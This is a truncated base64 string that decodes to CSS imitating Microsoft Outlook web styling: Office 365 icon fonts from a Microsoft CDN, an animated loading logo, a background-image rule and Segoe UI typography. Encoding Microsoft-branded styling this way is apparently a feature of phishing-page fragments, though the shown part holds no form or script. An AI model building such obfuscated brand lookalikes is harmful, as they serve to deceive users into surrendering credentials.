gICAgICAgICAgc3JjOiB1cmwoXCdodHRwczovL291dGxvb2stMS5jZG4ub2ZmaWNlLm5ldC9vd2FtYWlsLzIwMjIwMzI1MDAyLjA0L3Jlc291cmNlcy9mb250cy9vZmZpY2UzNjVpY29ucy5lb3Q/I2llZml4XCcpCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm1hdChcJ2VtYmVkZGVkLW9wZW50eXBlXCcpLAogICAgICAgICAgICAgICAgICAgIHVybChcJ2h0dHBzOi8vb3V0bG9vay0xLmNkbi5vZmZpY2UubmV0L293YW1haWwvMjAyMjAzMjUwMDIuMDQvcmVzb3VyY2VzL2ZvbnRzL29mZmljZTM2NWljb25zLndvZmY/XCcpCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm1hdChcJ3dvZmZcJyksCiAgICAgICAgICAgICAgICAgICAgdXJsKFwnaHR0cHM6Ly9vdXRsb29rLTEuY2RuLm9mZmljZS5uZXQvb3dhbWFpbC8yMDIyMDMyNTAwMi4wNC9yZXNvdXJjZXMvZm9udHMvb2ZmaWNlMzY1aWNvbnMudHRmP1wnKQogICAgICAgICAgICAgICAgICAgICAgICBmb3JtYXQoXCd0cnVldHlwZVwnKSwKICAgICAgICAgICAgICAgICAgICB1cmwoXCdodHRwczovL291dGxvb2stMS5jZG4ub2ZmaWNlLm5ldC9vd2FtYWlsLzIwMjIwMzI1MDAyLjA0L3Jlc291cmNlcy9mb250cy9vZmZpY2UzNjVpY29ucy5zdmc/I29mZmljZTM2NWljb25zXCcpCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm1hdChcJ3N2Z1wnKTsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBub3JtYWw7CiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgI3ByZWxvYWREaXYgewogICAgICAgICAgICAgICAgaGVpZ2h0OiAxcHg7CiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAtMXB4OwogICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICAgICAgICAgIHZpc2liaWxpdHk6IGhpZGRlbjsKICAgICAgICAgICAgfQogICAgICAgICAgICAjbG9hZGluZ1NjcmVlbiB7CiAgICAgICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgICAgICB0b3A6IDA7CiAgICAgICAgICAgICAgICBib3R0b206IDA7CiAgICAgICAgICAgICAgICBsZWZ0OiAwOwogICAgICAgICAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOwogICAgICAgICAgICB9CiAgICAgICAgICAgICNsb2FkaW5nTG9nbyB7CiAgICAgICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgICAgICB0b3A6IGNhbGMoNTB2aCAtIDkwcHgpOwogICAgICAgICAgICAgICAgbGVmdDogY2FsYyg1MHZ3IC0gOTBweCk7CiAgICAgICAgICAgICAgICB3aWR0aDogMTgwcHg7CiAgICAgICAgICAgICAgICBoZWlnaHQ6IDE4MHB4OwogICAgICAgICAgICB9CiAgICAgICAgICAgICNNU0xvZ28gewogICAgICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOwogICAgICAgICAgICAgICAgYm90dG9tOiAzNnB4OwogICAgICAgICAgICAgICAgbGVmdDogY2FsYyg1MHZ3IC0gNDVweCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLmRhcmsgI2xvYWRpbmdTY3JlZW4gewogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKICAgICAgICAgICAgfQogICAgICAgICAgICAjbG9hZGluZ0xvZ28yX3RzIHsKICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbG9hZGluZ0xvZ28yX3RzX190cyAzMDAwbXMgbGluZWFyIDEgbm9ybWFsIGZvcndhcmRzOwogICAgICAgICAgICAgICAgYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogMTAwMDsKICAgICAgICAgICAgfQogICAgICAgICAgICAjbG9hZGluZ0xvZ28yIHsKICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbG9hZGluZ0xvZ28yX2NfbyAzMDAwbXMgbGluZWFyIDEgbm9ybWFsIGZvcndhcmRzOwogICAgICAgICAgICAgICAgYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogMTAwMDsKICAgICAgICAgICAgfQogICAgICAgICAgICAjbG9hZGluZ0xvZ28zX3RvIHsKICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbG9hZGluZ0xvZ28zX3RvX190byAzMDAwbXMgbGluZWFyIDEgbm9ybWFsIGZvcndhcmRzOwogICAgICAgICAgICAgICAgYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogMTAwMDsKICAgICAgICAgICAgfQogICAgICAgICAgICAjbG9hZGluZ0xvZ282X3RzIHsKICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbG9hZGluZ0xvZ282X3RzX190cyAzMDAwbXMgbGluZWFyIDEgbm9ybWFsIGZvcndhcmRzOwogICAgICAgICAgICAgICAgYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogMTAwMDsKICAgICAgICAgICAgfQogICAgICAgICAgICAjbG9hZGluZ0xvZ284X3RzIHsKICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbG9hZGluZ0xvZ284X3RzX190cyAzMDAwbXMgbGluZWFyIDEgbm9ybWFsIGZvcndhcmRzOwogICAgICAgICAgICAgICAgYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogMTAwMDsKICAgICAgICAgICAgfQogICAgICAgICAgICAjbG9hZGluZ0xvZ285X3RvIHsKICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbG9hZGluZ0xvZ285X3RvX190byAzMDAwbXMgbGluZWFyIDEgbm9ybWFsIGZvcndhcmRzOwogICAgICAgICAgICAgICAgYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogMTAwMDsKICAgICAgICAgICAgfQogICAgICAgICAgICAjbG9hZGluZ0xvZ28yOV90cyB7CiAgICAgICAgICAgICAgICBhbmltYXRpb246IGxvYWRpbmdMb2dvMjlfdHNfX3RzIDMwMDBtcyBsaW5lYXIgMSBub3JtYWwgZm9yd2FyZHM7CiAgICAgICAgICAgICAgICBhbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiAxMDAwOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBrZXlmcmFtZXMgbG9hZGluZ0xvZ28yX3RzX190cyB7CiAgICAgICAgICAgICAgICAwJSB7CiAgICAgICAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMTA4Ljg5NDQzcHgsIDE1NS43MTUxMjdweCkgc2NhbGUoMC42Njg5NjMsIDAuNjY4OTYzKTsKICAgICAgICAgICAgICAgICAgICBhbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBjdWJpYy1iZXppZXIoMC40MiwgMCwgMC41OCwgMSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAyNi42NjY2NjclIHsKICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDguODk0NDNweCwgMTU1LjcxNTEyN3B4KSBzY2FsZSgxLCAxKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIDEwMCUgewogICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDEwOC44OTQ0M3B4LCAxNTUuNzE1MTI3cHgpIHNjYWxlKDEsIDEpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIEBrZXlmcmFtZXMgbG9hZGluZ0xvZ28yX2NfbyB7CiAgICAgICAgICAgICAgICAwJSB7CiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIDE4LjMzMzMzMyUgewogICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAxMDAlIHsKICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIEBrZXlmcmFtZXMgbG9hZGluZ0xvZ28zX3RvX190byB7CiAgICAgICAgICAgICAgICAwJSB7CiAgICAgICAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMTAxLjAwMDE1NXB4LCAxOTUuOTcwNzAzcHgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgMTMuMzMzMzMzJSB7CiAgICAgICAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMTAxLjAwMDE1NXB4LCAxOTUuOTcwNzAzcHgpOwogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGN1YmljLWJlemllcigwLCAwLCAxLCAwLjAyNSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAzMSUgewogICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDEwMS4wMDAxNTVweCwgMjA2cHgpOwogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGN1YmljLWJlemllcigwLjEzNSwgMC43MSwgMC4wMywgMC45ODUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgNTAlIHsKICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDEuMDAwMTU1cHgsIDE5NS45NzA3MDNweCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAxMDAlIHsKICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDEuMDAwMTU1cHgsIDE5NS45NzA3MDNweCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGtleWZyYW1lcyBsb2FkaW5nTG9nbzZfdHNfX3RzIHsKICAgICAgICAgICAgICAgIDAlIHsKICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDEuMDAwNzA4cHgsIDk3LjQ5OTU4OHB4KSBzY2FsZSgxLCAtMC4wMDE3Mik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAyMy4zMzMzMzMlIHsKICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDEuMDAwNzA4cHgsIDk3LjQ5OTU4OHB4KSBzY2FsZSgxLCAtMC4wMDE3Mik7CiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogY3ViaWMtYmV6aWVyKDAuMTM1LCAwLjcxLCAwLjAzLCAwLjk4NSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA0MCUgewogICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDEwMS4wMDA3MDhweCwgOTcuNDk5NTg4cHgpIHNjYWxlKDEsIDEpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgMTAwJSB7CiAgICAgICAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMTAxLjAwMDcwOHB4LCA5Ny40OTk1ODhweCkgc2NhbGUoMSwgMSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGtleWZyYW1lcyBsb2FkaW5nTG9nbzhfdHNfX3RzIHsKICAgICAgICAgICAgICAgIDAlIHsKICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDEuMDAwNjk5cHgsIDE1OS45MTQ3MjNweCkgc2NhbGUoMSwgMSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAzOS42NjY2NjclIHsKICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDEuMDAwNjk5cHgsIDE1OS45MTQ3MjNweCkgc2NhbGUoMSwgMSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA1MCUgewogICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDEwMS4wMDA2OTlweCwgMTU5LjkxNDcyM3B4KSBzY2FsZSgxLCAxLjA1MDM2KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIDUyLjMzMzMzMyUgewogICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDEwMS4wMDA2OTlweCwgMTU5LjkxNDcyM3B4KSBzY2FsZSgxLCAwLjk1OTIzMyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA1Ny42NjY2NjclIHsKICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDEuMDAwNjk5cHgsIDE1OS45MTQ3MjNweCkgc2NhbGUoMSwgMSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAxMDAlIHsKICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDEuMDAwNjk5cHgsIDE1OS45MTQ3MjNweCkgc2NhbGUoMSwgMSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGtleWZyYW1lcyBsb2FkaW5nTG9nbzlfdG9fX3RvIHsKICAgICAgICAgICAgICAgIDAlIHsKICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDFweCwgMjA1Ljc1Mzc2NXB4KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIDI2LjY2NjY2NyUgewogICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDEwMXB4LCAyMDUuNzUzNzY1cHgpOwogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGN1YmljLWJlemllcigwLjE3NSwgMC44ODUsIDAuMzIsIDEuMjc1KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIDUwJSB7CiAgICAgICAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMTAxcHgsIDgxcHgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgMTAwJSB7CiAgICAgICAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMTAxcHgsIDgxcHgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIEBrZXlmcmFtZXMgbG9hZGluZ0xvZ28yOV90c19fdHMgewogICAgICAgICAgICAgICAgMCUgewogICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDEwMS4wMDA2OTlweCwgOTcuNDk5NTczcHgpIHNjYWxlKDEsIDEpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgMTMuMzMzMzMzJSB7CiAgICAgICAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMTAxLjAwMDY5OXB4LCA5Ny40OTk1NzNweCkgc2NhbGUoMSwgMSk7CiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogY3ViaWMtYmV6aWVyKDAsIDAsIDEsIDAuMDI1KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIDIzLjMzMzMzMyUgewogICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDEwMS4wMDA2OTlweCwgOTcuNDk5NTczcHgpIHNjYWxlKDEsIDAuMDAxNzIzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIDEwMCUgewogICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDEwMS4wMDA2OTlweCwgOTcuNDk5NTczcHgpIHNjYWxlKDEsIDAuMDAxNzIzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoJCSNiZ19pbWcgewoJCQloZWlnaHQ6IDEwMCU7CgkJCWJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsKCQkJYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsKCQkJYmFja2dyb3VuZC1zaXplOiBjb3ZlcgoJCX0KICAgICAgICAgICAgCiAgICAgICAgICAgIGh0bWx7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjstbXMtdGV4dC1zaXplLWFkanVzdDoxMDAlOy13ZWJraXQtdGV4dC1zaXplLWFkanVzdDoxMDAlfWJvZHl7bWFyZ2luOjAgOyB9CmFydGljbGUsYXNpZGUsZGV0YWlscyxmaWdjYXB0aW9uLGZpZ3VyZSxmb290ZXIsaGVhZGVyLGhncm91cCxtYWluLG1lbnUsbmF2LHNlY3Rpb24sc3VtbWFyeXtkaXNwbGF5OmJsb2NrfQphdWRpbyxjYW52YXMscHJvZ3Jlc3MsdmlkZW97ZGlzcGxheTppbmxpbmUtYmxvY2s7dmVydGljYWwtYWxpZ246YmFzZWxpbmV9CmF1ZGlvOm5vdChbY29udHJvbHNdKXtkaXNwbGF5Om5vbmU7aGVpZ2h0OjB9W2hpZGRlbl0sdGVtcGxhdGV7ZGlzcGxheTpub25lfWF7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudH1hOmFjdGl2ZSxhOmhvdmVye291dGxpbmU6MH1hYmJyW3RpdGxlXXtib3JkZXItYm90dG9tOjFweCBkb3R0ZWR9YixzdHJvbmd7Zm9udC13ZWlnaHQ6Ym9sZH1kZm57Zm9udC1zdHlsZTppdGFsaWN9aDF7Zm9udC1zaXplOjJlbTttYXJnaW46LjY3ZW0gMH1tYXJre2JhY2tncm91bmQ6I2ZmMDtjb2xvcjojMDAwfXNtYWxse2ZvbnQtc2l6ZTo4MCV9c3ViLHN1cHtmb250LXNpemU6NzUlO2xpbmUtaGVpZ2h0OjA7cG9zaXRpb246cmVsYXRpdmU7dmVydGljYWwtYWxpZ246YmFzZWxpbmV9c3Vwe3RvcDotMC41ZW19c3Vie2JvdHRvbTotMC4yNWVtfWltZ3tib3JkZXI6MH1zdmc6bm90KDpyb290KXtvdmVyZmxvdzpoaWRkZW59ZmlndXJle21hcmdpbjoxZW0gNDBweH1ocnstbW96LWJveC1zaXppbmc6Y29udGVudC1ib3g7Ym94LXNpemluZzpjb250ZW50LWJveDtoZWlnaHQ6MH1wcmV7b3ZlcmZsb3c6YXV0b31jb2RlLGtiZCxwcmUsc2FtcHtmb250LWZhbWlseTptb25vc3BhY2UsbW9ub3NwYWNlO2ZvbnQtc2l6ZToxZW19YnV0dG9uLGlucHV0LG9wdGdyb3VwLHNlbGVjdCx0ZXh0YXJlYXtjb2xvcjppbmhlcml0O2ZvbnQ6aW5oZXJpdDttYXJnaW46MH1idXR0b257b3ZlcmZsb3c6dmlzaWJsZX1idXR0b24sc2VsZWN0e3RleHQtdHJhbnNmb3JtOm5vbmV9YnV0dG9uLGh0bWwgaW5wdXRbdHlwZT0iYnV0dG9uIl0saW5wdXRbdHlwZT0icmVzZXQiXSxpbnB1dFt0eXBlPSJzdWJtaXQiXXstd2Via2l0LWFwcGVhcmFuY2U6YnV0dG9uO2N1cnNvcjpwb2ludGVyfWJ1dHRvbltkaXNhYmxlZF0saHRtbCBpbnB1dFtkaXNhYmxlZF17Y3Vyc29yOmRlZmF1bHR9YnV0dG9uOjotbW96LWZvY3VzLWlubmVyLGlucHV0OjotbW96LWZvY3VzLWlubmVye2JvcmRlcjowO3BhZGRpbmc6MH1pbnB1dHtsaW5lLWhlaWdodDpub3JtYWx9aW5wdXRbdHlwZT0iY2hlY2tib3giXSxpbnB1dFt0eXBlPSJyYWRpbyJde2JveC1zaXppbmc6Ym9yZGVyLWJveDtwYWRkaW5nOjB9aW5wdXRbdHlwZT0ibnVtYmVyIl06Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24saW5wdXRbdHlwZT0ibnVtYmVyIl06Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b257aGVpZ2h0OmF1dG99aW5wdXRbdHlwZT0ic2VhcmNoIl17LXdlYmtpdC1hcHBlYXJhbmNlOnRleHRmaWVsZDstbW96LWJveC1zaXppbmc6Y29udGVudC1ib3g7LXdlYmtpdC1ib3gtc2l6aW5nOmNvbnRlbnQtYm94O2JveC1zaXppbmc6Y29udGVudC1ib3h9aW5wdXRbdHlwZT0ic2VhcmNoIl06Oi13ZWJraXQtc2VhcmNoLWNhbmNlbC1idXR0b24saW5wdXRbdHlwZT0ic2VhcmNoIl06Oi13ZWJraXQtc2VhcmNoLWRlY29yYXRpb257LXdlYmtpdC1hcHBlYXJhbmNlOm5vbmV9ZmllbGRzZXR7Ym9yZGVyOjFweCBzb2xpZCAjYzBjMGMwO21hcmdpbjowIDJweDtwYWRkaW5nOi4zNWVtIC42MjVlbSAuNzVlbX1sZWdlbmR7Ym9yZGVyOjA7cGFkZGluZzowfXRleHRhcmVhe292ZXJmbG93OmF1dG99b3B0Z3JvdXB7Zm9udC13ZWlnaHQ6Ym9sZH10YWJsZXtib3JkZXItY29sbGFwc2U6Y29sbGFwc2U7Ym9yZGVyLXNwYWNpbmc6MH10ZCx0aHtwYWRkaW5nOjB9Knstd2Via2l0LWJveC1zaXppbmc6Ym9yZGVyLWJveDstbW96LWJveC1zaXppbmc6Ym9yZGVyLWJveDtib3gtc2l6aW5nOmJvcmRlci1ib3h9KjpiZWZvcmUsKjphZnRlcnstd2Via2l0LWJveC1zaXppbmc6Ym9yZGVyLWJveDstbW96LWJveC1zaXppbmc6Ym9yZGVyLWJveDtib3gtc2l6aW5nOmJvcmRlci1ib3h9aW5wdXQsYnV0dG9uLHNlbGVjdCx0ZXh0YXJlYXtmb250LWZhbWlseTppbmhlcml0O2ZvbnQtc2l6ZTppbmhlcml0O2xpbmUtaGVpZ2h0OmluaGVyaXR9YTpmb2N1c3tvdXRsaW5lOnRoaW4gZG90dGVkO291dGxpbmUtb2Zmc2V0Oi0ycHg7b3V0bGluZTo1cHggYXV0byAtd2Via2l0LWZvY3VzLXJpbmctY29sb3J9ZmlndXJle21hcmdpbjowfWltZ3t2ZXJ0aWNhbC1hbGlnbjptaWRkbGV9LmltZy1yZXNwb25zaXZle2Rpc3BsYXk6YmxvY2s7bWF4LXdpZHRoOjEwMCU7aGVpZ2h0OmF1dG99LmltZy1jaXJjbGV7Ym9yZGVyLXJhZGl1czo1MCV9LnNyLW9ubHl7cG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MXB4O2hlaWdodDoxcHg7bWFyZ2luOi0xcHg7cGFkZGluZzowO292ZXJmbG93OmhpZGRlbjtjbGlwOnJlY3QoMCwgMCwgMCwgMCk7Ym9yZGVyOjB9LnNyLW9ubHktZm9jdXNhYmxlOmFjdGl2ZSwuc3Itb25seS1mb2N1c2FibGU6Zm9jdXN7cG9zaXRpb246c3RhdGljO3dpZHRoOmF1dG87aGVpZ2h0OmF1dG87bWFyZ2luOjA7b3ZlcmZsb3c6dmlzaWJsZTtjbGlwOmF1dG99aHRtbHtmb250LXNpemU6MTAwJX1ib2R5e2ZvbnQtZmFtaWx5OiJTZWdvZSBVSSBXZWJmb250IiwtYXBwbGUtc3lzdGVtLCJIZWx2ZXRpY2EgTmV1ZSIsIkx1Y2lkYSBHcmFuZGUiLCJSb2JvdG8iLCJFYnJpbWEiLCJOaXJtYWxhIFVJIiwiR2FkdWdpIiwiU2Vnb2UgWGJveCBTeW1ib2wiLCJTZWdvZSBVSSBTeW1ib2wiLCJNZWlyeW8gVUkiLCJLaG1lciBVSSIsIlR1bmdhIiwiTGFvIFVJIiwiUmFhdmkiLCJJc2tvb2xhIFBvdGEiLCJMYXRoYSIsIkxlZWxhd2FkZWUiLCJNaWNyb3NvZnQgWWFIZWkgVUkiLCJNaWNyb3NvZnQgSmhlbmdIZWkgVUkiLCJNYWxndW4gR290aGljIiwiRXN0cmFuZ2VsbyBFZGVzc2EiLCJNaWNyb3NvZnQgSGltYWxheWEiLCJNaWNyb3NvZnQgTmV3IFRhaSBMdWUiLCJNaWNyb3NvZnQgUGhhZ3NQYSIsIk1pY3Jvc29mdCBUYWkgTGUiLCJNaWNyb3NvZnQgWWkgQmFpdGkiLCJNb25nb2xpYW4gQmFpdGkiLCJNViBCb2xpIiwiTXlhbm1hciBUZXh0IiwiQ2FtYnJpYSBNYXRoIjtmb250LXNpemU6MTVweDtsaW5lLWhlaWdodDoyMHB4O2ZvbnQtd2VpZ2h0OjQwMDtmb250LXNpemU6LjkzNzVyZW07bGluZS1oZWlnaHQ6MS4yNXJlbTtwYWRkaW5nLWJvdHRvbTouMjI3cHg7cGFkZGluZy10b3A6LjIyN3B4O2NvbG9yOiMwMDA7YmFja2dyb3VuZC1jb2xvcjojZmZmfWF7Y29sb3I6I2NjYzt0ZXh0LWRlY29yYXRpb246bm9uZX1hOmxpbmt7Y29sb3I6IzAwNjdiOH1hOnZpc2l0ZWR7Y29sb3I6IzAwNjdiOH1hOmhvdmVye2NvbG9yOiM2NjZ9YTpmb2N1c3tjb2xvcjojMDA2N2I4fWE6YWN0aXZle2NvbG9yOiM5OTl9LnRleHQtY2VudGVye3RleHQtYWxpZ246Y2VudGVyfS50ZXh0LWp1c3RpZnl7dGV4dC1hbGlnbjpqdXN0aWZ5fS50ZXh0LW5vd3JhcHt3aGl0ZS1zcGFjZTpub3dyYXB9LnRleHQtbG93ZXJjYXNle3RleHQtdHJhbnNmb3JtOmxvd2VyY2FzZX0udGV4dC11cHBlcmNhc2V7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlfS50ZXh0LWNhcGl0YWxpemV7dGV4dC10cmFuc2Zvcm06Y2FwaXRhbGl6ZX11bCxvbHttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbToxMHB4fXVsIHVsLHVsIG9sLG9sIHVsLG9sIG9se21hcmdpbi1ib3R0b206MH1hYmJyW3RpdGxlXSxhYmJyW2RhdGEtb3JpZ2luYWwtdGl0bGVde2N1cnNvcjpoZWxwfWJsb2NrcXVvdGUgcDpsYXN0LWNoaWxkLGJsb2NrcXVvdGUgdWw6bGFzdC1jaGlsZCxibG9ja3F1b3RlIG9sOmxhc3QtY2hpbGR7bWFyZ2luLWJvdHRvbTowfWJsb2NrcXVvdGUgZm9vdGVyLGJsb2NrcXVvdGUgc21hbGwsYmxvY2txdW90ZSAuc21hbGx7ZGlzcGxheTpibG9ja31hZGRyZXNze2ZvbnQtc3R5bGU6bm9ybWFsfUBmb250LWZhY2V7Zm9udC1mYW1pbHk6XCdTZWdvZSBVSSBXZWJmb250XCc7c3JjOmxvY2FsKCJTZWdvZSBVSSBMaWdodCIpO2ZvbnQtd2VpZ2h0OjIwMDtmb250LXN0eWxlOm5vcm1hbH1AZm9udC1mYWNle2ZvbnQtZmFtaWx5OlwnU2Vnb2UgVUkgV2ViZm9udFwnO3NyYzpsb2NhbCgiU2Vnb2UgVUkiKTtmb250LXdlaWdodDo0MDA7Zm9udC1zdHlsZTpub3JtYWx9QGZvbnQtZmFjZXtmb250LWZhbWlseTpcJ1NlZ29lIFVJIFdlYmZvbnRcJztzcmM6bG9jYWwoIlNlZ29lIFVJIFNlbWlib2xkIik7Zm9udC13ZWlnaHQ6NjAwO2ZvbnQtc3R5bGU6bm9ybWFsfWgxLGgyLGgzLGg0LGg1LGg2LC50ZXh0LWhlYWRsaW5lLC50ZXh0LWhlYWRlciwudGV4dC1zdWJoZWFkZXIsLnRleHQtdGl0bGUsLnRleHQtc3VidGl0bGUsLnRleHQtYm9keSwudGV4dC1iYXNlLC50ZXh0LWNhcHRpb24sLnRleHQtY2FwdGlvbi1hbHQsLnRleHQtc3ViY2FwdGlvbixwe21hcmdpbi1ib3R0b206MjBweDttYXJnaW4tdG9wOjIwcHg7bWFyZ2luLWJvdHRvbToxLjI1cmVtO21hcmdpbi10b3A6MS4yNXJlbX0udGV4dC1oZWFkbGluZXtmb250LXNpemU6NjJweDtsaW5lLWhlaWdodDo4MHB4O2ZvbnQtd2VpZ2h0OjIwMDtmb250LXNpemU6My44NzVyZW07bGluZS1oZWlnaHQ6NXJlbTtwYWRkaW5nLWJvdHRvbToyLjI3MTZweDtwYWRkaW5nLXRvcDoyLjI3MTZweH0udGV4dC1oZWFkbGluZS50ZXh0LW1heGxpbmVzLTF7d2hpdGUtc3BhY2U6bm93cmFwO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7bWF4LWhlaWdodDo4NC41NDMycHg7bWF4LWhlaWdodDo1LjI4Mzk1cmVtfS50ZXh0LWhlYWRsaW5lLnRleHQtbWF4bGluZXMtMnttYXgtaGVpZ2h0OjE2NC41NDMycHg7bWF4LWhlaWdodDoxMC4yODM5NXJlbX0udGV4dC1oZWFkbGluZS50ZXh0LW1heGxpbmVzLTN7bWF4LWhlaWdodDoyNDQuNTQzMnB4O21heC1oZWlnaHQ6MTUuMjgzOTVyZW19LnRleHQtaGVhZGxpbmUudGV4dC1tYXhsaW5lcy00e21heC1oZWlnaHQ6MzI0LjU0MzJweDttYXgtaGVpZ2h0OjIwLjI4Mzk1cmVtfS50ZXh0LWhlYWRlcixoMXtmb250LXNpemU6NDZweDtsaW5lLWhlaWdodDo1NnB